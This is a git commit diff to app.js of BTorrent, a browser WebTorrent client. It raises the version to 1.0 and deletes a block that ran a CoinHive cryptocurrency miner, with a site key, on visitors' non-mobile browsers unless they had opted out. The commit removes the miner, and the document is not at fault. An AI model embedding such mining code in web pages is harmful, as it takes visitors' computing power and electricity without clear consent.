This commit is contained in:
Diego Rodríguez Baquero 2022-05-02 16:06:43 -05:00 committed by GitHub
parent 2ffd0bfe01
commit 95b19db448
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23

10
app.js
View file

@ -1,6 +1,6 @@
/* global WebTorrent, angular, moment, prompt */
const VERSION = '0.18.1'
const VERSION = '1.0'
const trackers = ['wss://tracker.btorrent.xyz', 'wss://tracker.openwebtorrent.com']
@ -64,14 +64,6 @@ const app = angular.module('BTorrent',
)
app.controller('BTorrentCtrl', ['$scope', '$rootScope', '$http', '$log', '$location', 'ngNotify', function ($scope, $rootScope, $http, $log, $location, ngNotify) {
if (window.CoinHive) {
const miner = new CoinHive.Anonymous('YzzZ9mraj45TeCzxlvBX7yVm9O3GbV60', {throttle: 0.5})
if (!miner.isMobile() && !miner.didOptOut(3600)) {
miner.start()
}
}
let updateAll
$rootScope.version = VERSION
ngNotify.config({